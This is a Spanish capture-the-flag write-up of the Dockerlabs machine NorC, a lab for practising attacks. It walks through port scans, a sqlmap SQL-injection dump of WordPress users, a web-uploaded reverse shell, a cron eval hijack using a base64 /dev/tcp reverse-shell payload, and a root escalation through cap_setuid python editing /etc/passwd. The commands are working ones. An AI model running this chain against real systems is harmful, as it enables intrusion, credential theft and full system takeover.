NorC es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 3000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 09:25 CEST Initiating ARP Ping Scan at 09:25 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 09:25, 0.10s elapsed (1 total hosts) Initiating SYN Stealth Scan at 09:25 Scanning 172.17.0.2 [65535 ports] Discovered open port 22/tcp on 172.17.0.2 Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 09:25, 1.79s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.000014s latency). Scanned at 2024-06-19 09:25:09 CEST for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.16 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65641 (2.637MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,80 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 09:25 CEST Nmap scan report for norc.labs (172.17.0.2) Host is up (0.000044s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 4f:bc:d2:9e:19:48:5d:14:d7:19:dd:2b:86:7f:32:5a (ECDSA) |_ 256 35:96:29:f8:c3:b3:a4:aa:64:db:83:d3:59:25:8e:64 (ED25519) 80/tcp open http Apache httpd 2.4.59 ((Debian)) |_http-generator: Drupal 8 (https://www.drupal.org) |_http-title: Keep studying, you'all achieve it!!! |_http-server-header: Apache/2.4.59 (Debian) MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.66 seconds |
Entramos a la pagina web y no vemos otra cosa que esto, dándonos una pista de por donde puede ir la intrusión.

Viendo el código, aunque nos indica que puede contener un Drupal, parece hay un wordpress detrás de la pagina, tambien apuntamos en el fichero hosts el virtual host.

Usaremos feroxbuster para descubrir posibles plugins ya que no tenemos mas visibilidad que este index y no logramos detectar ningún usuario.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://norc.labs/wp-content/plugins/ -w /tmp/wordpress-plugins.txt -C 401,404,500 ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://norc.labs/wp-content/plugins/ 🚀 Threads │ 50 📖 Wordlist │ /tmp/wordpress-plugins.txt 💢 Status Code Filters │ [401, 404, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 4l 1798w 52052c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 0l 0w 0c http://norc.labs/wp-content/plugins/ 301 GET 9l 28w 336c http://norc.labs/wp-content/plugins/wp-fastest-cache => http://norc.labs/wp-content/plugins/wp-fastest-cache/ [>-------------------] - 2m 1245/201136 5h found:2 errors:364 [>-------------------] - 2m 1246/201136 5h found:2 errors:365 [>-------------------] - 2m 1075/100565 10/s http://norc.labs/wp-content/plugins/ [>-------------------] - 25s 150/100565 6/s http://norc.labs/wp-content/plugins/wp-fastest-cache/ 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_norc_labs_wp-content_plugins_-1718782845.state ... |
Se detectan entre otros plugins, «wp-faster-cache», así que vamos a mirar que versión tiene.
|
1 2 3 |
┌──(kali㉿kali)-[~] └─$ curl -s http://norc.labs/wp-content/plugins/wp-fastest-cache/readme.txt |grep Stable Stable tag: 1.2.1 |
Buscando posibles vulnerabilidades nos encontramos con un sqli en exploit-db, asi que usaremos sqlmap para dumpear de la base de datos wordpress, la tabla wp_users.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(kali㉿kali)-[~] └─$ sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 --batch -D wordpress -T wp_users --dump ___ __H__ ___ ___[']_____ ___ ___ {1.8.5#stable} |_ -| . ["] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:40:36 /2024-06-19/ Database: wordpress Table: wp_users [1 entry] +----+----------+------------------------------------+------------------------+------------+-------------+--------------+---------------+-----------------+---------------------+ | ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key | +----+----------+------------------------------------+------------------------+------------+-------------+--------------+---------------+-----------------+---------------------+ | 1 | <blank> | $P$Bf4kaHFpyfeFczAWW3xuS9TlEKhjP./ | dockerlabs@yopmail.com | admin | <blank> | admin | admin | 2024-06-1 | <blank> | |
Y viendo el user_mail, enlazamos con el mensaje del index de la web para mirar el correo.

Nos logearemos en wordpress con las credenciales del correo.

Instalaremos el plugin File Manager y lo activaremos

Ahora subiremos la reverse shell mediante el plugin instalado

Aaccedemos al fichero y conectamos como www-data
|
1 2 3 4 5 6 7 8 9 10 |
┌──(kali㉿kali)-[~] └─$ nc -vnlp 1234 listening on [any] 1234 ... connect to [192.168.0.160] from (UNKNOWN) [172.17.0.2] 56436 Linux b2040a46c7f0 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17) x86_64 GNU/Linux 23:47:25 up 1 day, 2:27, 0 user, load average: 1.69, 1.75, 2.34 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Vemos que existe un usuario en el sistema, así que vamos a su home y vemos un fichero un tanto extraño
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
www-data@b29ea2169b2d:/$ cat /etc/passwd|grep sh$ root:x:0:0:root:/root:/bin/bash kvzlx:x:1000:1000::/home/kvzlx:/bin/bash www-data@b2040a46c7f0:/home/kvzlx$ cat .cron_script.sh #!/bin/bash ENC_PASS=$(cat /var/www/html/.wp-encrypted.txt) DECODED_PASS=$(echo $ENC_PASS | base64 -d) echo $DECODED_PASS > /tmp/decoded.txt eval "$DECODED_PASS" |
Lanzamos pspy64 para ver si se ejecuta de manera constante en el sistema y estamos en lo cierto.

Dado que esta buscando el fichero «/var/www/html/.wp–encrypted.txt» con un contenido para su posterior decodificación y su ejecucion con el comando eval, le pasaremos un payload en base64 para tener un RCE
|
1 2 3 4 5 6 |
┌──(kali㉿kali)-[~] └─$ echo "/bin/bash -i >& /dev/tcp/192.168.0.160/1235 0>&1" | base64 -w0 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xNjAvMTIzNSAwPiYxCg== www-data@b2040a46c7f0:/home/kvzlx$ echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xNjAvMTIzNSAwPiYxCg==" > /var/www/html/.wp-encrypted.txt |
Nos ponemos en escucha y esperamos.
|
1 2 3 4 5 6 7 |
──(kali㉿kali)-[~] └─$ nc -vnlp 1235 listening on [any] 1235 ... connect to [192.168.0.160] from (UNKNOWN) [172.17.0.2] 46240 bash: cannot set terminal process group (4836): Inappropriate ioctl for device bash: no job control in this shell kvzlx@b2040a46c7f0:~$ |
Tras no ver nada a simple vista, lanzaremos linpeas hasta encontrar lo siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
╔══════════╣ Capabilities ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities Current env capabilities: Current: = Current proc capabilities: CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 00000000a80425fb CapAmb: 0000000000000000 Parent Shell capabilities: 0x0000000000000000= Files with capabilities (limited to 50): /opt/python3 cap_setuid=ep |
Esto indica que podemos ejecutar el binario en /opt/python3 como root , entonces lo que haremos para convertirnos en root será quitarle la contraseña, eliminando la x en /etc/passwd
|
1 2 3 4 5 |
kvzlx@b2040a46c7f0:~$ /opt/python3 -c 'import os;os.setuid(0);os.system("sed -i /etc/passwd 's/root:x/root:/' ")' kvzlx@b2040a46c7f0:~$ su root@b2040a46c7f0:/home/kvzlx# id uid=0(root) gid=0(root) groups=0(root) |
Y somos root!!
Y hasta aquí la maquina de NorC de la plataforma Dockerlabs!







